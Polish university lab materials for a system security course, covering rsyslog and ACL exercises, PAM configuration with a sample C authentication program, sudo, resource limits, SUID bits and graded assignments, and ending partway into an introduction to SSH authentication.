4. komunikaty z poziomu emerg pochodzące od jądra lub od local2 (na potrzeby testowania) trafiały do wszystkich zalogowanych użytkowników,

5. korzystając z xconsole można było śledzić błędy (co najmniej poziom err) związane z uwierzytelnianiem.

Użyj polecenia logger do sprawdzenia poprawności konfiguracji.

Zaliczenie 2015

Część 1

Jako root załóż katalog /home/public i skonfiguruj prawa dostępu w następujący sposób:

1. grupa Staff ma wszelkie uprawnienia do katalogu /home/public i jego zawartości,

2. grupa Students ma prawo do odczytu i wykonywania plików, które powstaną w katalogu /home/public,

3. użytkownik Editor ma prawo do odczytu i modyfikacji plików, które powstaną w katalogu /home/public, nie ma natomiast prawa do tworzenia nowych plików w tym katalogu ani do usuwania już istniejących,

4. wszyscy pozostali użytkownicy mogą sprawdzić jaka jest zawartość katalogu /home/public nie mogą natomiast odczytywać, wykonywać ani modyfikować żadnych znajdujących się tam plików.

Przetestuj poprawność swojej konfiguracji.

Część 2

Zmień konfigurację rsyslog w taki sposób, aby:

1. wszystkie zapisy z poziomu debug trafiały do pliku /var/log/debug.log i nie zaśmiecały żadnych innych plików,

2. korzystając z xconsole można było śledzić informacje (co najmniej poziom notice) związane z uwierzytelnianiem,

3. wszystkie komunikaty o błędach poziomu co najmniej error i co najwyżej alert, dotyczące poczty i drukowania trafiały do użytkownika root,

4. komunikaty z poziomu emerg poza komunikatami związanymi z pocztą trafiały do wszystkich zalogowanych użytkowników.

Użyj polecenia logger do sprawdzenia poprawności konfiguracji.

Zaliczenie 2016

Część 1

Wyobraź sobie, że jesteś nauczycielem informatyki w liceum i chcesz na szkolnym serwerze założyć i skonfigurować strukturę katalogów dla klas o profilu mat-fiz-inf w następujący sposób:

1. Identyfikatorem użytkownika jest numer jego legitymacji. W klasie 1e są to numery od 424201 do 424215, w klasie 2e - numery od 424401 do 424415, a w klasie 3e - numery od 424601 do 424615.

2. Katalogi domowe uczniów znajdują się w /home.

3. W każdym katalogu domowym ucznia znajduje się podkatalog public.

4. Każdy uczeń ma prawo do odczytu i wykonywania plików, które powstaną w katalogu /home/424xxx/public należącym do ucznia z tej samej klasy.

5. Grupa staff ma prawo do odczytu, wykonywania i modyfikacji plików/katalogów, które powstaną w katalogach /home/424xxx/public, nie ma natomiast prawa do tworzenia nowych plików w tym katalogu ani do usuwania już istniejących.

6. Użytkownik master ma wszystkie uprawnienia do plików i katalogów, które powstaną w katalogach /home/424xxx/public.

7. Do pozostałych katalogów i plików, które powstaną w katalogu domowym ucznia ma wyłączne (wszystkie) prawa jego właściciel.

8. Użytkownicy, którzy nie zostali wymienieni wyżej nie mają żadnych praw do katalogów domowych uczniów.

Napisz skrypt, który założy konta Twoim uczniom i odpowiednio skonfiguruje strukturę katalogów. Stwórz potrzebne grupy użytkowników. Przetestuj poprawność swojej konfiguracji.

Przydatne polecenia (oprócz setfacl):

useradd - zakłada użytkownika, opcja -m powoduje założenie katalogu domowego dla nowego użytkownika
groupadd - zakłada grupę
adduser - dodaje użytkownika do grupy
chown/chgrp - zmienia właściciela/grupę pliku lub katalogu

Część 2

Zmień konfigurację rsyslog w taki sposób, aby:

1. wszystkie zapisy z poziomu debug trafiały do pliku /var/log/debug.log i nie pojawiały się w żadnych innych plikach katalogu /var/log,

2. wszystkie komunikaty o poziomie wyższym niż debug dotyczące uwierzytelniania użytkowników były zapisywane do pliku /var/log/useradm.log,

3. wszystkie komunikaty zawierające wzorzec "424" trafiały do pliku /var/log/students.log,

4. korzystając z xconsole można było śledzić informacje związane z drukowaniem z poziomów od notice do alert,

5. komunikaty najwyższego poziomu pochodzące od jądra lub local2 zostały wypisane na ekranach wszystkich zalogowanych użytkowników,

6. konfiguracja elementów nie wymienionych wyżej pozostała domyślna, czyli taka jaka jest w oryginalnym pliku konfiguracyjnym rsyslog

Użyj polecenia logger do sprawdzenia poprawności konfiguracji.
Sprawdź zawartość dzienników po uruchomieniu skryptu z części 1.

Laboratorium 3 i 4: pam, sudo

Plugawe Autoryzacji Moduły: modularne systemy autoryzacji w Linuksie

Cel: umożliwienie elastycznej kontroli dostępu do systemu i programów przez wprowadzenie możliwości definiowania własnych modułów dostępu.

Rozwiązanie: ładowalne moduły autoryzacji (Pluggable Authorization Modules, PAM), popularnie zwane wtyczkami, zawierające specjalizowane metody identyfikacji (np. RIPEMD-160, SHA, linie papilarne). Oprócz autoryzacji mają dodatkowe możliwości, takie jak nakładanie dodatkowych ograniczeń (np. na liczbę jednoczesnych loginów).

Dla danej aplikacji administrator ustala (plikiem konfiguracyjnym), które z nich mają być użyte.


3 poziomy:

1. Programista aplikacji:

umieszcza w programie (np. /bin/login) odpowiednie wywołania funkcji dla ładowalnych modułów autoryzacji (no i linkuje program z odpowiednią biblioteką).

2. Programista modułów:

pisze ładowalne moduły autoryzacji zawierające specjalizowane metody identyfikacji (np. RIPEMD-160, SHA, linie papilarne), które będą używane w aplikacjach.

3. Administrator:

instaluje i modyfikuje pliki konfiguracyjne dla aplikacji i modułów autoryzacji (i zapewne także instaluje moduły w systemie).

Na co dzień najbardziej istotny jest poziom 3.


Struktura systemu PAM dzieli się na 4 w miarę niezależne grupy zarządzania (zwane też typami):

- auth: zarządzanie autoryzacją i identyfikacją,

- account: zarządzanie kontami. Określanie, czy użytkownik ma prawo dostępu do danej usługi itp.

- session: zarządzanie sesjami (np. limity),

- password: zarządzanie aktualizacją żetonów identyfikujących (np. haseł).

Niektóre programy, np. login, potrzebują usług z wszystkich czterech grup. Inne, takie jak passwd, mogą korzystać tylko z wybranych grup.


Każda aplikacja chcąca używać PAM ma plik konfiguracyjny zawierający listę modułów dla procesu uwierzytelniania. Nazwa pliku nie musi być zgodna z nazwą aplikacji, często na początek używa się ,,cudzych'' sprawdzonych plików.

Pliki te znajdują się w katalogu /etc/pam.d (w starych wersjach mógł być jeden wspólny plik /etc/pam.conf, obecnie jest on używany tylko gdy brak katalogu /etc/pam.d), na przykład dla /bin/login login plikiem tym będzie /etc/pam.d/login.

Plik konfiguracyjny o nazwie other zawiera wartości domyślne (zwykle zabrania wszystkiego). Są w nim tylko odwołania do modułu pam_deny, ewentualnie poprzedzone przez odwołaniami do pam_warn. Tego pliku używa się (również jako początkowego szablonu) dla services bez własnych plików konfiguracyjnych (oczywiście gdy używają PAM).

Moduł pam_deny po prostu odmawia dostępu (zawsze zwraca niepowodzenie).
Moduł pam_warn rejestruje w syslogu informacje o wykonywanej operacji.

Inny popularny plik używany powszechnie to login.

Wpisy mają postać:

<grupa>  <kategoria>  <moduł> [<argumenty>]

np.

auth     required     pam_securetty.so
auth     required     pam_unix.so

gdzie <kategoria> to jedna z wartości:

- requisite niepowodzenie natychmiast wraca do aplikacji z błędem,
- required każdy taki moduł musi zwrócić sukces,
- sufficient sukces takiego modułu i wszystkich jego poprzedników, powoduje zwrócenie sukcesu do aplikacji (niepowodzenie jest ignorowane),
- optional ,,ozdobnik'' bez wpływu na sukces lub niepowodzenie.

albo ,,pseudokategoria'':

- include,
- substack.

Uwaga: dawniej zamiast pseudokategorii był moduł pam_stack.so --- powodował
dołączenie list z innego podanego pliku (zwykle system-auth). Można natknąć
się na takie przykłady w Internecie.

Ostatnio w PAM wprowadzono kategorie złożone, zapisywane w nawiasach
kwadratowych. Pozwalają uzależnić wybór akcji od konkretnej wartości
zwróconej przez moduł (a nie tylko sukces/porażka). Nie będziemy ich
używać, ale mogą wystąpić w plikach, które będziecie podglądali.

Poszczególne moduły ładowane są kolejno, wiele z nich ma pliki konfiguracyjne zawarte w katalogu /etc/security.


Modułów PAM jest wiele, są one typu open-source, więc można je samodzielnie modyfikować. Można też pisać własne. Technicznie moduł to biblioteka ładowalna dynamicznie przez nazwę (wywołaniem dlopen()).

Trzyma się je standardowo w jakimś katalogu security, np.

/lib/security
/lib64/security
/usr/lib/security
/usr/lib64/security

Zwykle nazwa modułu to pam_cośtam.so, najczęściej działa

man pam_cośtam

Przykłady:

Moduł pam_access zarządza klasycznym logowaniem do systemu lub aplikacji. W celu uaktywnienia modułu pam_access dla aplikacji login należy do jej pliku konfiguracyjnego dodać na końcu grupy account wiersz:

account  required  pam_access.so

Moduł pam_access ma plik sterujący /etc/security/access.conf. Każdy wiersz w nim ma postać

<uprawnienie> : <użytkownicy> : <miejsca>

Uprawnienie to jeden ze znaków + lub -. Nazwy użytkowników można oddzielać spacjami. Miejsce to nazwa komputera, LOCAL oznacza dostęp lokalny.

Do nakładania limitów służy moduł pam_limits:

session  required  pam_limits.so

z plikiem konfiguracyjnym limits.conf. Składnia wierszy:

<dziedzina>  <typ>  <ograniczenie>  <wartość>

gdzie <dziedzina> określa użytkowników lub grupy, <typ> to hard lub soft, zaś <ograniczenie> to np. fsize lub nproc. Aby pozwolić użytkownikowi guest tylko na jednokrotne logowanie, należy tam wpisać

guest  hard  maxlogins  1

Moduł pam_securetty ogranicza do konsoli możliwość logowania się na konto root.

Nie ma ,,kompletnej'' listy modułów. W dokumentacji administratora
wymienione są te, które w danym momencie przychodzą z pakietem.
Ta lista się zmienia :-(żółw się rusza).

Poniżej częściowy wykaz:

pam_access: zobacz wyżej.

pam_cracklib: sprawdza jakość hasła ze słownikiem.

pam_debug: tylko do testowania.

pam_deny: zobacz wyżej.

pam_echo: wypisuje zawartośc pliku.

pam_env: ustawia zmienne środowiska.

pam_exec: wywołuje zewnętrzne polecenie.

pam_lastlog: odnotowuje czas ostatniego logowania w pliku /var/log/lastlog.

pam_ldap: autoryzacja w oparciu o LDAP server (niestandardowy).

pam_limits: nakłada ograniczenia na zasoby, plik /etc/security/limits.conf.

pam_listfile: alternatywna wersja pam_access.

pam_mail: sprawdza, czy użytkownik ma nową pocztę.

pam_motd: wypisuje "message of the day", zwykle z /etc/motd.

pam_nologin: jeśli istnieje plik /etc/nologin lub /var/run/nologin, to zwraca niepowodzenie, przy okazji wypisując zawartość tego pliku. Dla root'a zawsze OK.

pam_permit: zawsze zwraca sukces.

pam_pwhistory: sprawdza nowe hasło z ostatnio używanymi.

pam_rootok: tylko root, zwykle umieszcany w /etc/pam.d/su jako "sufficient" test, żeby root mógł stawać się zwykłym użytkownikiem bez podawania hasła.

pam_securetty: sprawdza, czy ten użytkownik ma prawo się logować z tego urządzenia. Zagląda do pliku /etc/securetty file --- jest to wyjątek, bo większość plików pomocniczych jest w /etc/security.

pam_shells: wpuszcza tylko, gdy shell użytkownika jest legalny (tz. wymieniony w pliku /etc/shells).

pam_succeed_if: pozwala sprawdzać różne warunki.

pam_tally: prowadzi licznik prób dostępu, odmawia gdy było za dużo.

pam_time: ograniczenie dostępu według reguł z pliku /etc/security/time.conf.

pam_unix: klasyczna autoryzacja UNIXowa (/etc/passwd, /etc/shadow).

pam_warn: zobacz wyżej.

pam_wheel: uprawnienia roota tylko dla członków grupy wheel.

Przykład pliku konfiguracyjnego /etc/pam.d/su dla programu su

auth		sufficient	pam_rootok.so
# Uncomment the following line to implicitly trust users in the "wheel" group.
#auth		sufficient	pam_wheel.so trust use_uid
# Uncomment the following line to require a user to be in the "wheel" group.
#auth		required	pam_wheel.so use_uid
auth		substack	system-auth
auth		include		postlogin
account		sufficient	pam_succeed_if.so uid = 0 use_uid quiet
account		include		system-auth
password	include		system-auth
session		include		system-auth
session		include		postlogin
session		optional	pam_xauth.so

PAM można używać również we własnych aplikacjach. Popatrzmy na przykład

#include <security/pam_appl.h>
#include <security/pam_misc.h>
#include <stdio.h>
 
static struct pam_conv login_conv = {
  misc_conv,               /* przykładowa funkcja konwersacji z libpam_misc */
  NULL                        /* ewentualne dane aplikacji (,,domknięcie'') */
};
 
void main () {
  pam_handle_t* pamh = NULL;
  int retval;
  char *username = NULL;
 
  retval = pam_start("login", username, &login_conv, &pamh);
  if (pamh == NULL || retval != PAM_SUCCESS) {
    fprintf(stderr, "Error when starting: %d\n", retval);
    exit(1);
  }
 
  retval = pam_authenticate(pamh, 0);  /* próba autoryzacji */
  if (retval != PAM_SUCCESS) {
    fprintf(stderr, "Chyba się nie udało!\n");
    exit(2);
  }
  else
    fprintf(stderr, "Świetnie Ci poszło.\n");
 
  printf("OK\n");  /* rzekomy kod aplikacji */
 
  pam_end(pamh, PAM_SUCCESS);
  exit(0);
}

Po wywołaniu pam_start zmienna pam będzie zawierać dowiązanie do obiektu PAM, który będzie argumentem wszystkich kolejnych wywołań funkcji PAM.

Zmienna pam_conv to struktura zawierająca informacje o funkcji do konwersacji z użytkownikiem -- tu użyliśmy najprostszej bibliotecznej funkcji
misc_conv, można jednak użyć własnej.

Pierwszy argument funkcji pam_start to nazwa aplikacji, potrzebna do
odnalezienia pliku konfiguracyjnego. Żeby nie trzeba było go pisać i instalować (wymaga uprawnień roota) można użyć nazwy innej już skonfigurowanej aplikacji (tutaj login) -- będziemy mieć takie same reguły. Lepiej jednak mieć własną nazwę (np. "moje"), wtedy w katalogu /etc/pam.d powinien istnieć plik o tej nazwie (np. kopia pliku "login"). Pozwoli to używać nazwy tej aplikacji w plikach konfiguracyjnych w /etc/security.

Funkcja pam_authenticate uruchamia ,,motor'' sprawdzania PAM -- usługę auth. Dla pozostałych usług/grup istnieją analogiczne funkcje, szczegóły w podręczniku. Funkcja pam_end po prostu kończy sesję.

Przy kompilacji i linkowaniu należy pamiętać o bibliotekach libpam i
libpam_misc, np.

gcc -o tescik tescik.c -lpam -lpam_misc

Podstawowa biblioteka libpam zawsze jest zainstalowana (w /lib lub /usr/lib), nawet nie warto sprawdzać. Trzeba zapewne doładować ,,development''. Na RedHatopodobnych systemach to pakiet pam-devel, w Debianie (czyli w laboratorium) to libpam0g-dev. Można też załadować libpam-doc jeśli nie ma. W naszej pracowni

apt-get install libpam0g-dev

Trzy podstawowe procedury autentykacji w PAM to:

1. pam_start(): funkcja PAM która powinna być wywołana na początku. Inicjalizuje bibliotekę PAM, czyta plik konfiguracyjny i ładuje potrzebne moduły autentykacji w kolejności podanej w pliku konfiguracyjnym. Zwraca referencję do biblioteki PAM, której należy używać w następnych wywołaniach.

2. pam_end(): ostatnia funkcja PAM, którą powinna wołać aplikacja. Po jej zakończeniu jesteśmy odłączeni od PAM, a cała pamięć PAM zwolniona.

3. pam_authenticate(): interfejs do mechanizmu autoryzacji załadowanych modułów. Wołana przez aplikację najczęśćiej na początku, żeby zidentyfikować użytkownika.

Inne pożyteczne procedury PAM to:

- pam_acct_mgmt(): sprawdza czy konto bieżącego użytkownika jest aktywne.

- pam_open_session(): rozpoczyna sesję.

- pam_close_session(): zamyka bieżącą sesję.

- pam_setcred(): zarządza tokenami uwierzytelniającymi.

- pam_chauthtok(): zmienia żeton identyfikacji (zapewne hasło).

- pam_set_item(): modyfikuje wpis w strukturze stanu PAM.

- pam_get_item(): pobiera podany element stanu PAM.

- pam_strerror(): zwraca komunikat dla błędu.

Nagłówki tych procedur są w security/pam_appl.h.

Funkcja konwersacji obsługuje współpracę modułu z aplikacją, dotarczając
modułowi metody odpytywania uż←tkownika o nazwę, hasło itp.
Jej sygnatura to:

int conv_func (int, const struct pam_message**,
               struct pam_response**, void*);

Zwykle używa się bibliotecznej funkcji misc_conv.


Materiały:

Główne strona projektu to http://www.linux-pam.org/. Zawiera dokumentację i link do repozytorium kodu, m.in. A.G. Morgan, T. Kukuk ,,The Linux-PAM System Administrators' Guide''

Andrew G. Morgan ,,Pluggable Authentication Modules for Linux'' Linux Journal #44 (12/1997), http://www.linuxjournal.com/article/2120. Artykuł twórcy implementacji dla Linuksa, zawiera m.in. przykład programu używającego PAM.

Stara strona dystrybucyjna wszystkich materiałów dla Linuksa (http://www.kernel.org/pub/linux/libs/pam/) ma obecnie znaczenie historyczne. Ogólnie na sieci jest nieco materiałów przestarzałych, np. z roku 2001. Zostaliście ostrzeżeni!

Można też zajrzeć do http://wazniak.mimuw.edu.pl

A poza tym u nas na stronie SO:
tekst Pani Barbary Domagały

Rozszerzanie i zawężanie uprawnień zwykłych użytkowników w Linuksie

Cele:
- nakładanie ograniczeń na zasoby wykorzystywane przez użytkownika,
- rozszerzanie uprawnień użytkowników, aby mogli wykonywać uprzywilejowane akcje bez znajomości hasła administratora.


1. Nakładanie ograniczeń

Ograniczenia na wykorzystanie zasobów przez użytkowników ustawia administrator. Najlepiej, jeśli robimy to używając PAM (daje on możliwość ustawienia większego repertuaru ograniczeń).

Ustawianiem ograniczeń zajmuje się moduł pam_limits.so --- zwykle jest on wstępnie skonfigurowany i wystarczy do pliku /etc/security/limits.conf wpisać odpowiednie ograniczenia. Wiersze w tym pliku mają postać

<zakres>  <typ>  <zasób>  <wartość>

Zakres podaje, kogo dotyczy ograniczenie, może to być:

- nazwa użytkownika,
- nazwa grupy poprzedzona znakiem @,
- skrót notacyjny * oznaczający wszystkich (poza rootem).

Typ określa, czy ograniczenie jest łagodne (soft), czy surowe (hard). Użytkownicy mogą poleceniem ulimit podwyższać ograniczenia łagodne.

Zasób podaje nazwę ograniczenia, np. fsize to rozmiar pliku, nofiles to liczba otwartych plików, maxlogins to liczba jednoczesnych zalogowań, a nproc to liczba procesów.

Przykład: aby ograniczyć liczbę procesów użytkownika guest, w pliku konfiguracyjnym umieszczamy

guest  soft  nproc  40
guest  hard  nproc  80

Do oglądania i modyfikowania ograniczeń przez użytkowników służy polecenie wewnętrzne shella ulimit, dlatego nie należy czytać

man ulimit

(bo on bywa czasem dziwaczny), lecz poszukać w tym, co daje

man bash

(albo nasz inny ulubiony shell). Na pewno warto użyć

ulimit -a

żeby zobaczyć wszystkie swoje ograniczenia i opcje przestawiające je.


2. Chwilowe rozszerzanie uprawnień użytkowników

Pewne operacje wymagają uprawnień posiadanych tylko przez niektórych użytkowników (np. tylko przez administratora). Jeśli chcemy pozwolić innym na ich wykonywanie (np. sterowanie podsystemem drukowania), to mamy dwie możliwości:

a) Rozdać im hasło roota, aby mogli się nań zalogować (na innego użytkownika można się chwilowo zalogować pisząc

su root

lub

su - root

Ta możliwość wydaje się jednak (przynajmniej większości administratorów) mało atrakcyjna. Można użyć modułu pam_wheel w pliku su i ograniczyć użycie polecenia su tylko do grupy wheel.

b) Na szczęście istnieje polecenie sudo. Nie wymaga ono znajomości hasła roota, lecz jedynie własnego, użytkownik musi jednak być sudoersem.

Informacje o sudoersach znajdują się w pliku konfiguracyjnym /etc/sudoers. Nie powinno się go edytować bezpośrednio, lecz użyć polecenia visudo.

Na początku pliku można umieścić aliasy, zawsze jest dostępny alias ALL. Wiersze w zasadniczej części pliku mają postać

<użytkownik>  <komputer>=(<efektywny-użytkownik>)  <programy>

na przykład

dobo  ALL=(ALL)  ALL

powoduje, że użytkownik dobo ma na wszystkich objętych tym plikiem komputerach wszelkie prawa (ale nie zna hasła roota). Aby ograniczyć to do lokalnego komputera i uprawnień root można napisać

dobo  localhost=  ALL

Można ograniczyć działanie sudo tylko do niektórych poleceń, sudoer może poznać swoje możliwości przez

sudo -l

3. Mechanizm SUID i SGID

Niektóre aplikacje (np. passwd) wymagają uprzywilejowanego dostępu do chronionych zasobów, takich jak pliki. Oczywiście nie ma sensu czynić wszystkich sudoersami. Dlatego plik wykonywalny (czyli program) może mieć ustawiony specjalny bit powodujący, że wykonuje się on z prawami
swojego właściciela lub grupy, a nie tego, kto go uruchomił.

Pliki takie nazywa się SUID (od Set UID) bądź SGID (Set GID). Generalnie mechanizm ten jest niebezpieczny, bo nie jest dostępna zbiorcza informacja o takich programach w naszym systemie (ale polecenie find ,,poleca się łaskawym klientom'').

Ustawianie takiego bitu w programach mających możliwość wykonania dowolnego innego programu (shelle, programy w C wywołujące system(...)) świadczy o dużej wrodzonej życzliwości właściciela programu --- należy go trzymać z dala od administrowania systemem.


Materiały:

man sudo
man sudoers

http://wazniak.mimuw.edu.pl/index.php?title=Bezpiecze%C5%84stwo_system%C...

Zadania ćwiczebne na tempo i dykcję

1. Załóż użytkownika burak.

2. Zabroń mu logowania się kiedyś tam.

3. Pozwól użytkownikowi guest na zdalne logowanie się tylko z sąsiedniego komputera.

4. Ustaw temu użytkownikowi maksymalny rozmiar pliku na <n> kilobajtów.

Zaliczenie 2009

1. Używając PAM, ogranicz użytkownikowi luzer możliwość logowania (zdalnego i lokalnego) do godzin 14:30-14:45 (lub inny dogodny do sprawdzania termin).

2. Zabroń mu wielokrotnego logowania do systemu oraz ogranicz mu wielkość tworzonych plików do <n>KB (w pracowni 5 listopada <n> to około 280, zależy od tego, co robią skrypty startowe).

3. Ogranicz użytkownikowi luzer maksymalny czas wykorzystania procesora do 2 minut.

4. Użyj SUDO, aby użytkownik guest mógł dokonywać zamknięcia systemu

/sbin/shutdown now

(albo używać innej ulubionej ,,cudzej'' aplikacji).

Zaliczenie 2010

1. Używając PAM, ogranicz użytkownikowi luzer możliwość logowania zdalnego do godzin 14:30-14:45 (lub inny dogodny do sprawdzania termin).

2. Zabroń mu wielokrotnego logowania do systemu oraz ogranicz mu wielkość tworzonych plików do <n>KB (w pracowni <n> to około 280, zależy od tego, co robią skrypty startowe).

3. Ogranicz użytkownikowi guest maksymalny czas wykorzystania procesora do 1 minuty.

4. Użyj SUDO, aby użytkownik luzer mógł dokonywać zamknięcia systemu

/sbin/shutdown now

(albo używać innej ulubionej ,,cudzej'' aplikacji).

Zaliczenie 2011

Zadanie zaliczeniowe - moduły 5 i 6

  1. Używając PAM ogranicz użytkownikowi luzer możliwość logowania
    zdalnego do godzin 11:00-11:15 (lub inny dogodny termin umożliwiający
    sprawdzenie w czasie zajęć).

  2. Ogranicz mu maksymalną liczbę otwartych plików do <n> (w pracowni <n> to
    około ???, zależy od tego, co robią skrypty startowe).

  3. Zabroń użytkownikowi guest wielokrotnego logowania do systemu.
  4. Użyj SUDO, aby użytkownik luzer mógł ,,podglądać'' ruch sieciowy
    programem tcpdump.

Zaliczenie 2012

1. Utwórz użytkowników user1, user2 i user3.

2. Skonfiguruj sudo tak, aby wszystkie próby użycia były logowane w /var/log/sudo.

3. Skonfiguruj sudo, aby użytkownik user1 mógł instalowac pakiety przez apt-get.

4. Skonfiguruj PAM tak, żeby tylko użytkownicy user2 i user3 mogli logować się
zdalnie przez SSH.

Zaliczenie 2013

1. Utwórz użytkowników user1, user2 i user3.

2. Zezwól użytkownikowi user1 tylko na dwukrotne logowanie do systemu
oraz ogranicz jego maksymalną liczbę procesów na 20.

3. Skonfiguruj sudo, aby użytkownik user2 mógł ,,podglądać'' ruch
sieciowy (programem tcpdump).

4. Zabroń (używając PAM) użytkownikowi user3 (a może też root) zdalnego
logowania się przez SSH.

Zaliczenie 2014

Zadanie zaliczeniowe - moduły 3 i 4

1. Wzorując się na przykładowym programie, napisz program sprawdzający,
czy podany przez użytkownika wiersz tekstu jest palindromem.
Program powinien wczytywać kolejne wiersze i dla każdego wypisywać
na terminalu ,,Tak'' lub ,,Nie''.

Po napotkaniu wiersza zawierającego kropkę program powinien kończyć
pracę.

Program powinien używać PAM: dostęp do programu powinien być
dozwolony tylko dla autoryzowanych hasłem użytkowników. O nazwę
(login) użytkownika program powinien pytać ,,Kto to?''

Ponadto program powinien umożliwiać nakładanie ograniczeń na dni i
godziny, kiedy można z niego korzystać.

2. Używanie programu powinno być dozwolone między 11:00 i 11:30
(lub w innym pasującym do labu terminie - konkretne wartości
nie mogą być zaszyte w aplikacji).

3. Skonfiguruj sudo, aby użytkownik user2 (należy go założyć) mógł
ręcznie wyłączać system (polecenie shutdown).

4. Zezwól użytkownikowi user2 tylko na dwukrotne logowanie do systemu.

Zaliczenie 2015

Zadanie zaliczeniowe - moduły 3 i 4

  1. Wzorując się na przykładowym programie, napisz w języku C program
    sprawdzający, czy w kolejnych wierszach tekstu podanych na wejściu
    któreś słowa występują parzystą liczbę razy. Jeśli tak, to należy
    wypisać każdy taki wiersz, znalezione słowo i liczbę wystąpień (jeśli takich
    słów w wierszu jest kilka, to wystarczy podać którekolwiek z nich).

    Po napotkaniu wiersza zawierającego kropkę program powinien kończyć
    pracę.

    Program powinien używać PAM: dostęp do programu powinien być
    dozwolony tylko dla autoryzowanych hasłem użytkowników. O nazwę
    (login) użytkownika program powinien pytać ,,Kto to?''.

    Ponadto program powinien umożliwiać nakładanie ograniczeń na dni
    i godziny, kiedy można z niego korzystać.

    Uwaga: wierszy tekstu może być dużo i mogą mieć różną długość.
    Program konsumujący za dużo pamięci (tzn. nie zwracający nieużytków)
    zostanie potraktowany limitami na rozmiar pamięci.

  2. Używanie programu powinno być dozwolone między 11:00 i 11:30 w dni
    powszednie (lub w innym pasującym do labu terminie - konkretne wartości
    nie mogą być zaszyte w aplikacji).

  3. Skonfiguruj sudo, aby użytkownik user2 (należy go założyć) mógł
    instalować pakiety (polecenie apt-get).

  4. Zabroń użytkownikowi user2 wielokrotnego logowania do systemu.

Pliki źródłowe programu (wraz z Makefile) należy wysłać prowadzącym
w postaci spakowanego archiwum do godziny 19:00 dnia poprzedzającego
zajęcia.

Zaliczenie 2016

Zadanie zaliczeniowe 2016/17 - moduły 3 i 4

  1. Wzorując się na przykładowym programie, napisz w języku C program znajdujący w podanym na wejściu tekście pięć najczęściej użytych słów (czyli takich, które wystąpiły najwięcej razy). Przez słowo w tym przypadku rozumiemy dowolny ciąg liter, otoczony innymi znakami.

    Tekst zakończony jest wierszem zawierającym jedynie symbol "==". Po napotkaniu końca tekstu należy wypisać pierwszy wiersz tekstu i pięć znalezionych słów.

    Na wejściu może wystąpić więcej niż jeden tekst, wtedy należy tę operację wykonać dla każdego tekstu osobno. Po napotkaniu wiersza zawierającego kropkę program powinien kończyć pracę.

    Program powinien używać PAM: dostęp do programu powinien być dozwolony tylko dla autoryzowanych hasłem użytkowników. O nazwę (login) użytkownika program powinien pytać ,,Badania korpusowe?''.

    Ponadto program powinien umożliwiać nakładanie ograniczeń na liczbę jednoczesnych uruchomień programu przez użytkownika.

    Uwaga: wierszy tekstu może być dużo i mogą mieć różną długość. Program konsumujący za dużo pamięci (tzn. nie zwracający nieużytków) zostanie potraktowany limitami na rozmiar pamięci.

  2. Zezwól użytkownikowi user2 (należy go założyć) na używanie tego programu z urządzeń znakowych tty2, tty3 lub tty4. Inni użytkownicy mogą go używać wyłącznie z terminala tty4.

    Zezwól użytkownikowi user2 (należy go założyć) tylko na dwukrotne odpalenie programu.

  3. Używanie programu SSH powinno być dozwolone między 11:00 i 11:30 w dni powszednie (lub w innym pasującym do labu terminie - ustaw odpowiednie ograniczenie.

  4. Skonfiguruj sudo, aby użytkownik user2 mógł instalować pakiety (polecenie apt-get).

Pliki źródłowe programu (wraz z Makefile) proszę umieścić w osobnym katalogu,który należy wysłać prowadzącym w postaci spakowanego archiwum do godziny 22:30 dnia poprzedzającego zajęcia. Nazwa katalogu i nazwa archiwum powinny zawierać login autora (np. ab123456.tgz).

Laboratorium 5 i 6: ssh, pgp

Kryptograficzna ochrona komunikacji i poczty na poziomie aplikacji

Patryk Czarnik
BSK 2009/2010, ostatnia aktualizacja ZJ 2016/2017


Zobacz także

Temat opisują także scenariusze 7 i 8 na Ważniaku. Zwróć uwagę szczególnie
na niewymienione w bieżącym tekście polecenia programu gpg.

Przeczytaj (żeby wiedzieć jakie są możliwości, ale niekoniecznie znać na pamięć składnię i opcje):

man ssh, man ssh-keygen, man sshd_config, man gpg.

Warto przejrzeć (i wyłapać najważniejsze hasła) także:

man ssh_config, man ssh-agent, man scp, man rsync, man sftp, a także SSH i PGP na Wikipedii.


SSH

SSH (Secure Shell) to protokół zabezpieczający komunikację w warstwie aplikacji, którego podstawowym zastosowaniem jest zdalna praca przez konsolę tekstową. Może on być jednak używany także do innych celów, m.in. zdalnego używania aplikacji graficznych X Windows, bezpiecznego przesyłania plików, montowania zdalnych katalogów i tunelowania dowolnych połączeń TCP.

Zabezpieczenie komunikacji polega na:

  • uwierzytelnieniu serwera przez klienta: przy pierwszym połączeniu z danym serwerem wyświetla się pytanie o akceptację klucza publicznego serwera - zwykle wpisujemy wtedy "yes"; przy każdym kolejnym połączeniu weryfikuje się czy serwer używa tej samej pary kluczy, tzn. czy serwer posiada klucz prywatny pasujący do znanego nam klucza publicznego,
  • uwierzytelnieniu użytkownika przez serwer (różne metody),
  • szyfrowaniu przesyłanych danych,
  • podpisywaniu i weryfikacji każdego przesyłanego pakietu (ochrona przed podmianą danych oraz wykrywanie błędów transmisji).

Używać będziemy implementacji OpenSSH, której podstawowe pakiety to zwykle
openssh (instaluje go automatycznie każda znana mi dystrybucja) oraz
openssh-server (to już często trzeba doinstalować samodzielnie).

UWIERZYTELNIENIE UŻYTKOWNIKA

SSH oferuje kilka metod uwierzytelnienia, z najpopularniejszymi „password” (na podstawie hasła), „keyboard interactive” (bardziej ogólna metoda, w praktyce też najczęściej sprowadzająca się do podania hasła) oraz „public key” opisana w dalszej części.

Uwierzytelnienie za pomocą hasła

Używanie uwierzytelnienia opartego o hasło jest o tyle wygodne, że nie wymaga specjalnej konfiguracji. Natomiast obarczone jest wieloma wadami z punktu widzenia bezpieczeństwa oraz wygody:

  • hasło jest narażone na ataki oparte o jego zgadnięcie: atak siłowy („brute force”), słownikowy, „socjalny” (data urodzin, imię psa itp.), podsłuchanie tego samego hasła używanego w niechronionym protokole, podglądanie klawiatury (kamery!), itp.;
  • ponieważ hasło jest przesyłane (w postaci zaszyfrowanej), atak typu „man in the middle” (klient łączy się z nieprawdziwym serwerem, np. po przejęciu przez atakującego kontroli nad DNS czy routerem, a użytkownik zbyt pochopnie akceptuje tożsamość serwera) prowadzi do poznania hasła przez atakującego, który następnie może połączyć się z prawdziwym serwerem;
  • konieczność wielokrotnego wpisywania hasła w przypadku używania aplikacji takich jak cvs/svn/git.

Uwierzytelnienie oparte o klucze (metoda "public key")

